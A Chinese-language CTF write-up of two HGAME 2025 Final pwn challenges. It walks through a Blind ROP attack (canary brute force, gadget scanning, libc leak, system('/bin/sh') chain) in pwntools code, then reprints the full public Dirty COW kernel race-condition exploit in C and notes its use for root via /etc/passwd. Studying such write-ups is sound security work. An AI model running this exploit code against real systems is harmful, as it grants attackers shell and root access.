HGAME 2025 Final 复现

Backto2016

但你必须先向我们证明自己有回到 2016 的实力!

祝你玩的开心 o ( ̄▽ ̄) ブ

没有附件是正常的喵

这个分数或许也考虑了买 hint 这件事,别害怕嘻嘻

这道题是没有给出附件的,我们需要根据输入和程序的输出获取一切信息。

Vulnerabilities

随便输入一些字符会发现,程序存在栈溢出漏洞,出题人很友好地提供了程序崩溃的更多信息(*** stack smashing detected ***: terminated)

存在 Canary 保护

注意到在交互进程结束后,会保持连接,返回一个 PID+1 的新进程,这提示我们程序使用 fork() 实现功能。

赛后放出的源码

因此,子进程的 Canary 值不会改变。

Exploit

从题目的提示可以知道,其实这是类似于 HCTF2016 brop1 的一道题目。

运用的攻击方法叫做 Blind Return Oriented Programming (BROP)2

BROP 的主要流程:

  1. 绕过 Canary 和 PIE 的保护;

  2. 寻找 "stop gadget";

  3. 寻找控制寄存器的 gadget;

  4. dump memory to get the binary

  5. 获得 libc base,然后 get shell

Canary bypass

BROP 首先需要我们绕过 Canary:

Stack reading. A single byte on the stack is overwritten with guess X. If the service crashes, the wrong value was guessed.

Stop gadget

Stop gadget 指的是可以将程序挂起的一段 gadget。

为什么需要 Stop gadget? 如果我们将 Return address 覆盖成随机的数据,那么很大概率会引发段错误。而 Stop gadget 能让程序保持正常运行,在寻找其他 gadget 时起到了区分作用。

stop gadget is useful!

当我们成功找到了一个 gadget,$rsp 进入寄存器,程序进入 $rsp+8<stop_gadget>

如果还未找到这个 gadget,程序会直接发生段错误。这个作用在下一节会更具体地体现。

Common gadget

在 Ubuntu 14.04 中,我们有一个很好的函数__libc_csu_init(),里面存在控制传参寄存器的 gadget,具体请参考通用 gadget

1
2
3
4
5
6
7
0x000000000040082a <+90>:    5b      pop    rbx
0x000000000040082b <+91>: 5d pop rbp
0x000000000040082c <+92>: 41 5c pop r12
0x000000000040082e <+94>: 41 5d pop r13
0x0000000000400830 <+96>: 41 5e pop r14
0x0000000000400832 <+98>: 41 5f pop r15
0x0000000000400834 <+100>: c3 ret

所以,我们可以这样布置栈数据:

1
2
3
4
5
6
7
8
9
payload = flat({
offset: [
canary,
p64(1),
p64(pop_gadget),
p64(0)*6,
p64(stop_gadget)
]
})

但是还存在一个小问题,如果遍历时 pop_gadget 恰好是另一个 stop gadget,程序也不会发生段错误,和执行到真正的 gadget 处结果一样。

因此,我们还需要进一步验证,它是否我们需要的。

在这道题中,我找到的 stop gadget 会输出一些固定字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ( b"killed by" not in resp):
payload = flat({
offset: [
canary,
p64(1),
p64(pop_gadget)
]
})
p.sendafter("password",payload)
resp = p.recv()
resp = p.recv()
log.success(f"stop_gadget[{i}] = {hex(stop_gadget)}")
log.success(f"pop_gadget[{i}] = {hex(pop_gadget)}")
choose = input("Continue?")
if(choose=="y" or choose=="Y"):continue
break

观察回显,如果没有输出,那么这大概率是正确的。当然在后续过程中我们可以更确定这个 gadget 是不是真的。

Dump memory

得到需要的 gadget,就可以开始 dump memory 了。

为了找到 write() 的 plt 地址,可以将 $rdi 赋值 0x400000,即 write(0x400000),如果地址正确,我们会得到 ELF 头几个固定字符:\x7fELF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
while True:
put_addr += 1
payload = flat({
offset: [
canary,
p64(1),
p64(pop_gadget),
p64(0x400000),#pop rdi
p64(put_addr),
p64(stop_gadget)
]
})
p.sendafter("password",payload)
try:
resp = p.recv()
resp = p.recv()
if ( b"\x7fELF" in resp):
log.success(f"put found[{i}] = {hex(put_addr)}")
choose = input("Continue?")
if(choose=="y" or choose=="Y"):continue
break
except:
pass

回顾 plt 表的知识,我们知道,已经调用过的函数地址会被保存在.got 段中。

Get shell

后续过程就比较简单了,写 ROP 链即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
stop_gadget=0x400700
pop_gadget=0x400b2a+0x9
put_addr = 0x400715
got_addr = 0x602018
payload = flat({
offset: [
canary,
p64(1),
p64(pop_gadget),
p64(got_addr),#pop rdi
p64(put_addr),
]
})
p.sendafter("password:\n",payload)
put_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success(hex(put_addr))
libc_base = put_addr - libc.sym["puts"]
log.success(hex(libc_base))
sys_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base +next(libc.search(b"/bin/sh"))

pause()
payload = flat({
offset: [
canary,
p64(1),
p64(pop_gadget),
p64(binsh_addr),#pop rdi
p64(sys_addr),
]
})
p.sendafter("password:",payload)
p.interactive()

Backto2016(2)

这题赛时并没有做出来(而且靶机跑的很慢,爆破不动),后面看了 wp 了解到这是一个 kernel vulnerability。

Copy On Write3

Copy-on-write (COW), also called implicit sharingor shadowing,is a resource-management technique used in programming to manage shared data efficiently. Instead of copying data right away when multiple programs use it, the same data is shared between programs until one tries to modify it. If no changes are made, no private copy is created, saving resources. A copy is only made when needed, ensuring each program has its own version when modifications occur. This technique is commonly applied to memory, files, and data structures.

例如 fork() 创建子进程时,为了节省内存空间和时间开销,使用了写时复制的策略。

Take a lot space and time
Copy-on-write

Dirty-cow4

通过 mmap() 映射文件到内存,利用写时复制, writemadvise() 导致的条件竞争漏洞。

下面是它的一个 POC,可参见:https://github.com/dirtycow/dirtycow.github.io

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

~/foo 为例,这是一个只读文件:

运行 dirtycow

结果如下:

同理,如果我们修改 /etc/passwd,就可以实现提权。

References


  1. pwn_hctf2016_brop.md↩︎

  2. bittau-brop.pdf↩︎

  3. Copy-on-write↩︎

  4. Dirty COW↩︎